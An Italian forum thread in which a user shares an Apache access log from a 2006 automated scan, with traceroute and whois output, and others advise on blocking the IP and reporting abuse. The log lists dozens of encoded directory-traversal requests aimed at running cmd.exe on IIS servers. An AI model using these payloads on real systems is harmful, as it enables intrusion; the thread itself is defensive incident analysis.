Strani log apache

[Serpico78]

Non so se è la sezione adatta, ma considerato che la macchina su cui ho trovato questi log ha su una Debian con apache 2 non dovrebbe neanche essere la più sbagliata....

apache2/access.log

204.17.105.163 - - [23/May/2006:06:42:06 +0200] "GET /..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 308 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:07 +0200] "GET /..%c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 305 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:08 +0200] "GET /_vti_bin/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 327 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:08 +0200] "GET /_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 304 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:09 +0200] "GET /_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 304 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:09 +0200] "GET /_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 335 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:10 +0200] "GET /_vti_bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 337 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:10 +0200] "GET /_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 335 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:11 +0200] "GET /_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 330 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:12 +0200] "GET /_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 328 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:12 +0200] "GET /_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 337 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:13 +0200] "GET /_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 330 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:13 +0200] "GET /adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 338 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:14 +0200] "GET /adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 331 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:15 +0200] "GET /cgi-bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 336 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:15 +0200] "GET /cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 329 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:16 +0200] "GET /iisadmpwd/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 338 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:16 +0200] "GET /iisadmpwd/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 338 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:17 +0200] "GET /iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 331 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:18 +0200] "GET /iisadmpwd/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 329 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:18 +0200] "GET /msadc/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 324 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:19 +0200] "GET /MSADC/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 304 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:19 +0200] "GET /msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 304 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:20 +0200] "GET /MSADC/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 304 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:21 +0200] "GET /msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 304 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:21 +0200] "GET /msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 324 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:22 +0200] "GET /msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 328 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:22 +0200] "GET /msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 324 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:23 +0200] "GET /msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 328 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:24 +0200] "GET /msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 325 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:24 +0200] "GET /msadc/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 318 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:24 +0200] "GET /msadc/../%e0/%80/%af../../%e0/%80/%af../../%e0/%80/%af../winnt/system32/cmd.exe/?/c/+dir+c: HTTP/1.1" 404 315 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:25 +0200] "GET /msdac/root.exe?/c+dir+c: HTTP/1.1" 404 290 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:26 +0200] "GET /msdac/shell.exe?/c+dir+c: HTTP/1.1" 404 291 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:26 +0200] "GET /PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 304 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:27 +0200] "GET /PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 304 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:28 +0200] "GET /PBServer/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 322 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:29 +0200] "GET /PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 322 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:29 +0200] "GET /Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 304 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:30 +0200] "GET /Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 304 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:30 +0200] "GET /Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 317 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:31 +0200] "GET /Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 317 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:31 +0200] "GET /samples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 336 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:32 +0200] "GET /samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 329 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:33 +0200] "GET /scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 312 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:33 +0200] "GET /scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 316 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:34 +0200] "GET /scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 326 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:34 +0200] "GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 316 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:35 +0200] "GET /scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 304 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:36 +0200] "GET /scripts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 322 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:36 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 313 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:37 +0200] "GET /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 304 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:37 +0200] "GET /scripts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 322 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:38 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 313 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:39 +0200] "GET /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 304 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:40 +0200] "GET /scripts/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 322 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:40 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 313 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:41 +0200] "GET /scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 313 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:41 +0200] "GET /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 304 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:42 +0200] "GET /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 314 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:43 +0200] "GET /scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 315 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:43 +0200] "GET /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 316 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:44 +0200] "GET /scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 317 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:44 +0200] "GET /scripts/root.exe?/c+dir+c: HTTP/1.1" 404 292 "-" "Mozilla/3.0 (compatible; Indy Library)"
204.17.105.163 - - [23/May/2006:06:42:45 +0200] "GET /scripts/shell.exe?/c+dir+c: HTTP/1.1" 404 293 "-" "Mozilla/3.0 (compatible; Indy Library)"

Facendo una ricerchina su google credo di aver capito che è stata la scansione di un qualche worms o script per cercare delle vulnerabilità sul sistema.

Cercando di rintracciare da dove veniva l'attacco ho trovato :

traceroute to 204.17.105.163 (204.17.105.163), 30 hops max, 40 byte packets
1 * * *
2 213.205.24.107 (213.205.24.107) 8.053 ms 7.852 ms 7.664 ms
3 po1.c7206.pi-bkb1.net.tiscali.it (213.205.27.65) 8.329 ms 7.321 ms 7.852 ms
4 213.205.31.129 (213.205.31.129) 9.351 ms 8.173 ms 8.017 ms
5 pos-4-3.rom20.ip.tiscali.it (213.205.17.173) 16.473 ms 13.581 ms 15.770 ms
6 so-2-0-0.was10.ip.tiscali.net (213.200.82.197) 108.595 ms 109.032 ms 108.241 ms
7 4.68.127.193 (4.68.127.193) 124.642 ms 4.68.127.197 (4.68.127.197) 123.354 ms 128.358 ms
8 ae-1-53.bbr1.Washington1.Level3.net (4.68.121.65) 108.851 ms 108.449 ms 140.239 ms
9 so-3-0-0.mp1.Boston1.Level3.net (209.247.9.125) 171.066 ms so-2-0-0.mp2.Boston1.Level3.net (64.159.4.181) 116.205 ms so-3-0-0.mp1.Boston1.Level3.net (209.247.9.125) 115.944 ms
10 ae-21-56.car1.Boston1.Level3.net (4.68.100.162) 116.116 ms ae-11-55.car1.Boston1.Level3.net (4.68.100.130) 116.092 ms ae-11-51.car1.Boston1.Level3.net (4.68.100.2) 116.219 ms
11 unknown.Level3.net (166.90.184.74) 117.994 ms 117.825 ms 118.040 ms
12 ma1-bb1-ge-0-3-0-100.conversent.net (209.113.217.225) 121.064 ms 121.037 ms 121.494 ms
13 ct1-bb2-as0.conversent.net (209.113.217.230) 126.999 ms 127.172 ms 126.684 ms
14 ct1-bb1-ae0-100.conversent.net (209.113.217.193) 119.780 ms 148.760 ms 119.639 ms
15 ny1-bb2-ge-0-1-0.conversent.net (209.113.217.114) 158.876 ms 119.833 ms 120.337 ms
16 nj1-gw0-at-1-0-10262.conversent.net (209.113.217.238) 125.751 ms 122.684 ms 121.579 ms
17 nj1-gw1-gi0-1.conversent.net (204.17.105.4) 135.798 ms 124.664 ms 125.988 ms
18 204.17.105.161 (204.17.105.161) 134.443 ms 138.942 ms 158.149 ms
19 * * *
20 ttdev2.teleran.com (204.17.105.163) 236.941 ms 152.394 ms 178.325 ms

Quindi l'ip sembra appartenere a una certa società Teleran.com con sede nel Massachusset.

A questo punto che faccio?

Invio una e-mail al loro webmaster per segnalare la cosa?

Si accettano suggerimenti.

[3mentina]

ciao, come si fa a terminare apache.exe? dal task manager mi nega l'accesso!

[3mentina]

risolto grazie

[3mentina]

Originariamente inviato da Serpico78

Non so se è la sezione adatta, ma considerato che la macchina su cui ho trovato questi log ha su una Debian con apache 2 non dovrebbe neanche essere la più sbagliata....
Facendo una ricerchina su google credo di aver capito che è stata la scansione di un qualche worms o script per cercare delle vulnerabilità sul sistema.

Cercando di rintracciare da dove veniva l'attacco ho trovato :


Quindi l'ip sembra appartenere a una certa società Teleran.com con sede nel Massachusset.

A questo punto che faccio?

Invio una e-mail al loro webmaster per segnalare la cosa?

Si accettano suggerimenti.

Prova a vedere se sul sito del garante per la privacy c'è qualche istruzione in merito a questo genere di cose.

Sulla macchina non c'era un antivirus o un antispy?

Conosci un modo per tenere sotto controllo le comunicazioni del server Apache? Sto iniziando ad usarlo per un database e non vorrei che le contenute informazioni fossero carpite.

grazie.

(scusa per aver sporcato la discussione)

[Serpico78]

Originariamente inviato da 3mentina

Conosci un modo per tenere sotto controllo le comunicazioni del server Apache? Sto iniziando ad usarlo per un database e non vorrei che le contenute informazioni fossero carpite.

grazie.

(scusa per aver sporcato la discussione)

Fai in modo che l'apache non stia in ascolto su una porta esterna, oppure lo filtri a livello di iptable (firewall) in modo che il servizio sia accessibile solo dalla rete interna.

[dennyv]

Banna direttamente l'ip o addirittura tutta la network della società a livello di ip. Poi guarda tramite il whois se c'è una email dell'abuse (nel 90% dei casi non serve ad un tubo, ma tentar non nuoce).

[Serpico78]

Originariamente inviato da dennyv

Banna direttamente l'ip o addirittura tutta la network della società a livello di ip. Poi guarda tramite il whois se c'è una email dell'abuse (nel 90% dei casi non serve ad un tubo, ma tentar non nuoce).

Thanks, al whois non avevo pensato.

Non hanno un'e-mail per l'abuse, ma in compenso ho scoperto la loro gamma di ip, al momento non li banno e magari farò una segnalazione al loro webmaster, ma se scopro altri movimenti sospetti dai loro ip gli banno tutta la gamma degli ip che hanno a disposizione.

$ whois --verbose 204.17.105.163
Uso il server whois.arin.net.
Richiesta: "204.17.105.163"

Conversent Communications CONVERSENT-204-17-64 (NET-204-17-64-0-1)
                                  204.17.64.0 - 204.17.127.255
Teleran Technologies, Inc. OEMN-204-17-105-160 (NET-204-17-105-160-1)
                                  204.17.105.160 - 204.17.105.167

# ARIN WHOIS database, last updated 2006-05-25 19:10
# Enter ? for additional hints on searching ARIN's WHOIS database.

[3mentina]

Originariamente inviato da Serpico78

Fai in modo che l'apache non stia in ascolto su una porta esterna, oppure lo filtri a livello di iptable (firewall) in modo che il servizio sia accessibile solo dalla rete interna.

l'accesso dall'esterno dovrebbe essere sotto controllo (solo localhost), non vorrei però che nell'applicazione (è un crm opensource) contenesse istruzioni per spedire all'esterno le informazioni del database (mysql)